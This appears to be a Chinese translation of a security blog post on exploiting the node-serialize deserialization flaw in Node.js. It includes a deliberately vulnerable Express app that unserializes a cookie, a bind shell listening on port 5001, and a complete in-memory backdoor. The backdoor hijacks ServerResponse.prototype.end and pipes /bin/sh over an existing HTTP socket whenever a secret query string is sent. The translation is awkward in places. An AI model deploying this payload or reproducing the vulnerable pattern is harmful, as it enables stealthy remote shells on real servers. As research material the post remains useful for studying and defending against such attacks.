針對(duì)Node.js的node-serialize模塊反序列化漏洞的后續(xù)分析
前言
對(duì)Node.js序列化遠(yuǎn)程命令執(zhí)行漏洞的一些后續(xù)發(fā)現(xiàn)和怎樣開(kāi)發(fā)攻擊載荷。
幾天前我在opsecx博客上發(fā)現(xiàn)了一篇怎樣利用一個(gè)名為node-serialize的nodejs模塊中的RCE(遠(yuǎn)程執(zhí)行代碼)錯(cuò)誤的博客。文章很清楚地解釋了模塊上存在的問(wèn)題,我卻想到另外一件事,就是Burp的利用過(guò)程很復(fù)雜,卻沒(méi)有用Burp進(jìn)行攻擊 -Burp 是一個(gè)很強(qiáng)大的工具 - 我認(rèn)為我們可以做得更好。
在這篇文章中,我想展示我對(duì)這個(gè)特定的RCE的看法,分享一些額外的見(jiàn)解,也許這些看法會(huì)對(duì)你以后的研究有幫助。
攻擊方面
在我們開(kāi)始之前,先檢查攻擊面是否可以使用。不要濫用節(jié)點(diǎn)序列化模塊。
下面是所有依賴模塊的列表:cdlib,cdlibjs,intelligence,malice,mizukiri,modelproxy-engine-mockjs,node-help,sa-sdk-node,scriby,sdk-sa-node,shelldoc,shoots。 因?yàn)闆](méi)有分析代碼,所以沒(méi)有辦法識(shí)別這些實(shí)現(xiàn)是否也是脆弱的,但是我假設(shè)它是脆弱性的。
更重要的是,我們還沒(méi)有回答這個(gè)模塊使用有多么廣泛的這個(gè)問(wèn)題。 每月2000次下載可能意味著許多事情,很難估計(jì)這個(gè)數(shù)字后面的應(yīng)用程序數(shù)量。 快速瀏覽一下github和google是獲得一些答案的有效方法,但是我卻發(fā)現(xiàn)一些有趣的地方。
GitHub搜索回顯了97個(gè)潛在的易受攻擊的公共模塊/應(yīng)用程序,這些模塊/應(yīng)用程序最有可能被私人使用,因?yàn)闆](méi)有登錄npmjs.com。 通過(guò)代碼瀏覽可以理解這個(gè)問(wèn)題是多么廣泛(或沒(méi)有)。 我很驚訝地發(fā)現(xiàn),它與神奇寶貝有關(guān)。我要去搞清楚!
我將在這里支持https://nodesecurity.io ,因?yàn)樗俏ㄒ坏姆椒?,在這種情況下,還對(duì)NodeJS模塊系統(tǒng)保持關(guān)注。 它對(duì)開(kāi)源項(xiàng)目是免費(fèi)的。
測(cè)試環(huán)境
到目前為止,我們認(rèn)為我們正在處理一個(gè)具有有限的濫用潛力的漏洞,這從公共安全角度來(lái)看是有好處的。 讓我們進(jìn)入更學(xué)術(shù)的一面,來(lái)重新利用它。 為了測(cè)試成功,我們需要一個(gè)易受攻擊的應(yīng)用程序。 opsecx有一個(gè)這樣的程序,所以我們將在本練習(xí)中使用它。 代碼相當(dāng)簡(jiǎn)單。
- var express = require('express');
- var cookieParser = require('cookie-parser');
- var escape = require('escape-html');
- var serialize = require('node-serialize');
- var app = express();
- app.use(cookieParser())
- app.get('/', function(req, res) {
- if (req.cookies.profile) {
- var str = new Buffer(req.cookies.profile, 'base64').toString();
- var obj = serialize.unserialize(str);
- if (obj.username) {
- res.send("Hello " + escape(obj.username));
- }
- } else {
- res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
- maxAge: 900000,
- httpOnly: true
- });
- res.send("Hello stranger");
- }
- });
- app.listen(3000);
您將需要以下package.json文件來(lái)完成(做NPM的安裝)
- {
- "dependencies": {
- "cookie-parser": "^1.4.3",
- "escape-html": "^1.0.3",
- "express": "^4.14.1",
- "node-serialize": "0.0.4"
- }
- }
所以讓我們跳過(guò)實(shí)際的事情。 從代碼中可以看到,此示例Web應(yīng)用程序正在使用用戶配置文件設(shè)置cookie,該配置文件是使用易受攻擊的節(jié)點(diǎn)模塊的序列化對(duì)象。 這都是在進(jìn)行base64編碼。 要想知道base64字符串在打包時(shí)看起來(lái)是什么,我們可以使用ENcoder。
這看起來(lái)像標(biāo)準(zhǔn)JSON。 首先,讓我們?cè)O(shè)置Rest,以便我們可以測(cè)試它。 請(qǐng)注意,我們使用Cookie構(gòu)建器來(lái)獲取正確的編碼,并且我們正在使用Encode小部件將JSON字符串轉(zhuǎn)換為Base64格式。
配置攻擊載荷
現(xiàn)在我們有一個(gè)工作請(qǐng)求,我們需要配置一個(gè)攻擊載荷。要做的第一件事是了解節(jié)點(diǎn)序列化漏洞究竟是如何工作的??v觀源代碼這是很明顯的,該模塊將連續(xù)函數(shù)顯示在這里。
- } else if(typeof obj[key] === 'function') {
- var funcStr = obj[key].toString();
- if(ISNATIVEFUNC.test(funcStr)) {
- if(ignoreNativeFunc) {
- funcStr = 'function() {throw new Error("Call a native function unserialized")}';
- } else {
- throw new Error('Can\'t serialize a object with a native function property. Use serialize(obj, true) to ignore the error.');
- }
- }
- outputObj[key] = FUNCFLAG + funcStr;
- } else {
一旦我們調(diào)用unserialize,這個(gè)問(wèn)題就會(huì)顯現(xiàn)出來(lái)。 確切的方法在這里。
- if(obj[key].indexOf(FUNCFLAG) === 0) {
- obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
- } else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
這意味著如果我們創(chuàng)建一個(gè)包含以_ $$ ND_FUNC $$ _開(kāi)頭的值的任意參數(shù)的JSON對(duì)象,我們將執(zhí)行遠(yuǎn)程代碼,因?yàn)樗鼘?zhí)行eval。 要測(cè)試這個(gè),我們可以使用以下設(shè)置。
如果成功,并且它應(yīng)該是成功的,您將得到一個(gè)錯(cuò)誤,因?yàn)榉?wù)器將在請(qǐng)求完成之前退出?,F(xiàn)在我們有遠(yuǎn)程代碼執(zhí)行,但是我們應(yīng)該可以做得更好。
我們的重點(diǎn)
我發(fā)現(xiàn)在opsecx博客提出的利用技術(shù)有點(diǎn)粗魯,但是卻是個(gè)是非常好的演示。我們已經(jīng)在關(guān)鍵過(guò)程中實(shí)現(xiàn)了eval,這樣我們可以做許多事情,以便獲得更好的入侵,而不需要涉及到python和階段攻擊。
這將存儲(chǔ)我們的代碼,使我們不必?fù)?dān)心編碼。 現(xiàn)在我們要做的是修改配置文件cookie,以便代碼變量可以嵌入在JSON和特殊方式node-serialize函數(shù)的正確編碼之后。
這很漂亮! 現(xiàn)在每次我們更改代碼變量時(shí),配置文件cookie有效負(fù)載將通過(guò)保持編碼鏈和節(jié)點(diǎn)序列化來(lái)使其完全完成而動(dòng)態(tài)更改。
內(nèi)存后門(mén)
我們需要處理我們的代碼有效負(fù)載。 假設(shè)我們不知道應(yīng)用程序是如何工作的,我們需要一個(gè)通用的方法來(lái)利用它,或者對(duì)于任何其他應(yīng)用程序,沒(méi)有環(huán)境或設(shè)置的預(yù)先知識(shí)。 這意味著我們不能依賴可能存在或可能不存在的全局范圍變量。 我們不能依賴express應(yīng)用程序?qū)С觯虼怂梢栽L問(wèn)額外的路由安裝。 我們不想生成新的端口或反向shell,以保持最小的配置文件等。
這是一個(gè)很大的要求,但滿足一些研究后,很容易找到一種方法,來(lái)實(shí)現(xiàn)。
我們的旅程從http模塊引用ServerResponse函數(shù)開(kāi)始。 ServerResponse的原型用作expressjs中的響應(yīng)對(duì)象的__proto__。
- /**
- * Response prototype.
- */
- var res = module.exports = {
- __proto__: http.ServerResponse.prototype
- };
- This means that if we change the prototype of ServerResponse that will reflect into the __proto__ of the response. The send method from the response object calls into the ServerResponse prototype.
- if (req.method === 'HEAD') {
- // skip body for HEAD
- this.end();
- } else {
- // respond
- this.end(chunk, encoding);
- }
這意味著一旦send方法被調(diào)用,將調(diào)用end方法,這恰好來(lái)自ServerResponse的原型。 由于send方法被充分地用于任何與expressjs相關(guān)的事情,這也意味著我們現(xiàn)在有一個(gè)直接的方式來(lái)快速訪問(wèn)更有趣的結(jié)構(gòu),如當(dāng)前打開(kāi)的套接字。 如果我們重寫(xiě)原型的end方法,這意味著我們可以從這個(gè)引用獲得一個(gè)對(duì)socket對(duì)象的引用。
實(shí)現(xiàn)這種效果的代碼看起來(lái)像這樣。
- require('http').ServerResponse.prototype.end = (function (end) {
- return function () {
- // TODO: this.socket gives us the current open socket
- }
- })(require('http').ServerResponse.prototype.end)
由于我們覆蓋了end的原型,我們還需要以某種方式區(qū)分我們的啟動(dòng)請(qǐng)求和任何其他請(qǐng)求,因?yàn)檫@可能會(huì)導(dǎo)致一些意想不到的行為。 我們將檢查查詢參數(shù)的特殊字符串(abc123),告訴我們這是我們自己的惡意請(qǐng)求。 可以從這樣的套接字訪問(wèn)httpMessage對(duì)象來(lái)檢索此信息。
- require('http').ServerResponse.prototype.end = (function (end) {
- return function () {
- // TODO: this.socket._httpMessage.req.query give us reference to the query
- }
- })(require('http').ServerResponse.prototype.end)
現(xiàn)在我們準(zhǔn)備好一切。 剩下的是啟動(dòng)shell。 在節(jié)點(diǎn)中這是相對(duì)直接的。
- var cp = require('child_process')
- var net = require('net')
- net.createServer((socket) => {
- var sh = cp.spawn('/bin/sh')
- sh.stdout.pipe(socket)
- sh.stderr.pipe(socket)
- socket.pipe(sh.stdin)
- }).listen(5001)
在合并兩個(gè)段之后,最終代碼如下所示。 注意我們?nèi)绾瓮ㄟ^(guò)重用已經(jīng)建立的套接字來(lái)重定向結(jié)束函數(shù)以在節(jié)點(diǎn)內(nèi)產(chǎn)生一個(gè)shell。
- require('http').ServerResponse.prototype.end = (function (end) {
- return function () {
- if (this.socket._httpMessage.req.query.q === 'abc123') {
- var cp = require('child_process')
- var net = require('net')
- var sh = cp.spawn('/bin/sh')
- sh.stdout.pipe(this.socket)
- sh.stderr.pipe(this.socket)
- this.socket.pipe(sh.stdin)
- } else {
- end.apply(this, arguments)
- }
- }
- })(require('http').ServerResponse.prototype.end)
現(xiàn)在打開(kāi)netcat到localhost 3000并鍵入以下請(qǐng)求
- $ nc localhost 3000 GET /?q=abc123 HTTP/1.1
- ls -la
什么? 你得不到任何東西。你看,我們正在劫持一個(gè)現(xiàn)有的套接字,因此我們不是套接字的唯一保管人。 還有其他的事情可能響應(yīng)那個(gè)套接字,所以我們需要確保我們照顧他們。 幸運(yùn)的是,這是很容易實(shí)現(xiàn)與一點(diǎn)知識(shí)如何節(jié)點(diǎn)套接字工作。 最終的代碼看起來(lái)像這樣。
- require('http').ServerResponse.prototype.end = (function (end) {
- return function () {
- if (this.socket._httpMessage.req.query.q === 'abc123') {
- ['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket))
- var cp = require('child_process')
- var net = require('net')
- var sh = cp.spawn('/bin/sh')
- sh.stdout.pipe(this.socket)
- sh.stderr.pipe(this.socket)
- this.socket.pipe(sh.stdin)
- } else {
- end.apply(this, arguments)
- }
- }
- })(require('http').ServerResponse.prototype.end)
現(xiàn)在,只要我們喜歡,我們就可以利用這個(gè)漏洞。 可以通過(guò)使用相同的服務(wù)器進(jìn)程和建立的套接字打開(kāi)具有我們的特殊字符串的請(qǐng)求來(lái)獲得遠(yuǎn)程外殼。
結(jié)論
我們從一個(gè)簡(jiǎn)單的RCE漏洞開(kāi)始,最終創(chuàng)建了一個(gè)通用的方法來(lái)生成一個(gè)已經(jīng)建立的HTTP通道的shell,它應(yīng)該在許多類型的情況下獨(dú)立工作,有一些注意事項(xiàng),我會(huì)留給你們。 整個(gè)事情的最棒的部分是在Rest的幫助下是開(kāi)發(fā)簡(jiǎn)單了很多,這無(wú)疑是最后幾個(gè)帖子中的功勞:1,2,3。